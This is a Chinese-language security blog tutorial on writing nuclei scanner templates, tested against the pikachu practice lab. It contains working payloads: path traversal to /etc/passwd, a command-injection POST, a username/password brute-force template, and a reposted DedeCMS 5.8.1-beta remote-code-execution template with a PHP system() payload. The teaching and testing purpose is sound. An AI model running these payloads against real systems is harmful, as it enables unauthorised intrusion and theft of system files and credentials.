nuclei-templates编写

admin 2024年5月20日18:01:04评论5 views字数 3004阅读10分0秒阅读模式

在编写nuclei模板时首先需要注意yaml的一些特性

  • 大小写敏感

  • 使用缩进表示层级关系

  • 缩进时不允许使用 Tab 键,只允许使用空格。

  • 缩进的空格数目不重要,只要相同层级的元素左侧对齐即可

当留意好这些特性后就可以很快的上手来编写nuclei的模板了

小试牛刀

这里笔者利用pikachu靶场来对nuclei的模板进行测试,首先我们找到一个get请求的漏洞来做测试

文件包含漏洞就是很好的一个选择,通过包含文件来返回信息,匹配返回的值来判断漏洞是否成功利用

id: file-includeinfo:  name: 文件包含                          #脚本的名字  author: CatalyzeSec                    #作者  severity: high                         #安全级别  可选的有 info, low, medium, high, critical, unknown  description: 用于测试靶场的nuclei模板    #描述模板内容  reference: http://www.baidu.com        #参考来源  tags: test                             #打上标签requests:  - method: GET    path:      - "{{BaseURL}}/vul/dir/dir_list.php?title=../../../../../../../etc/passwd"    headers:        User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"    matchers:      - type: status #匹配回包状态        status:          - 200      - type: regex #匹配返回内容        part: body        regex:          - "root:x:0:0:root:/root:/bin/bash"

指定上面的脚本进行漏洞利用可以发现利用成功

nuclei-templates编写

get请求相对来说还是比较容易的,接下来来看post请求的该如何编写

渐入佳境

0x1

笔者这里通过对pikachu靶场的rce漏洞部分进行测试,这块数据提交的方式为post请求

nuclei-templates编写

模板的编写来一步步看,首先是模板的id和info

id是模板必须要填写的部分,可以理解为模板的标识

info里面则是包含着该模板的一些信息内容

id: rceinfo:  name: 命令执行  author: CatalyzeSec  severity: critical  description: 用于测试靶场的nuclei模板  reference: http://www.baidu.com  tags: test

紧接着再来看看请求数据的部分

requests或http来做请求部分的声明

http:  - raw:    - |      POST /vul/rce/rce_ping.php HTTP/1.1      Content-Type: application/x-www-form-urlencoded      ipaddress=a%3Becho CatalyzeSec&submit=ping

请求完数据后就是对返回的数据进行数据匹配,来判断是否成功利用

    matchers:      - type: status        status:          - 200      - type: regex        part: body        regex:          - "CatalyzeSec"

结合起来,最后在nuclei展现的效果就是这样

nuclei-templates编写

0x2

上面的例子都是固定的传参来进行判断,如果当要进行fuzz或者brute的情况下就得再声明其他格式来进行利用

这里就用爆破的模块来做测试

这里将提交数据的地方这样写

#attack即攻击类型,有batteringram、pitchfork、clusterbomb,和burp里的intrude一样

http:  - raw:    - |      POST /vul/burteforce/bf_form.php HTTP/1.1      Content-Type: application/x-www-form-urlencoded; charset=UTF-8      username={{username}}&password={{password}}&submit=Login    payloads:      username:        - admin        - root      password:        - 123456        - admin    attack: clusterbomb

来看结果,最后也是成功爆破出账号和密码

nuclei-templates编写

欣赏佳作

当然,比起自己闭门造车不如多看看现有的模板,大家可以多参考其他的模板来编写出规则更为严谨的nuclei模板

dede-cms-rce.yaml

id: dedecms-rceinfo:  name: DedeCMS 5.8.1-beta - Remote Code Execution  author: ritikchaddha  severity: critical  description: |    DedeCMS 5.8.1-beta is susceptible to remote code execution via a variable override vulnerability that allows an attacker to construct malicious code with template file inclusion without proper authorization, thus possibly obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.  reference:    - https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html    - https://sectime.top/post/1d114771.html  metadata:    verified: true    max-request: 1    fofa-query: app="DedeCMS"  tags: dedecms,cms,rcehttp:  - raw:      - |        GET /plus/flink.php?dopost=save&c=cat%20/etc/passwd HTTP/1.1        Host: {{Hostname}}        Referer: <?php "system"($c);die;/*ref    matchers-condition: and    matchers:      - type: regex        regex:          - "root:[x*]:0:0"      - type: status        status:          - 200# digest: 4a0a00473045022100df434f263258323e2f8e1ea3f07d374bd59d060ca63eee3faf821ea0c8cc332902203a670f95b44fbdb4ad7126682ff6f55ef7325a18d66cf040e525f67e3a6f7f29:922c64590222798bb761d5b6d8e72950

加入我们的星球,我们能提供:

1对1就业指导、面试模拟、Golang工具开发学习、Fofo高级会员、各公众号历史文章合集、各种网络安全电子书、面试题合集、最新poc、exp、最常用工具推荐、开放交流环境,解决成员问题。

nuclei-templates编写

原文始发于微信公众号(CatalyzeSec):nuclei-templates编写

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月20日18:01:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nuclei-templates编写https://cn-sec.com/archives/2759608.html

发表评论

匿名网友 填写信息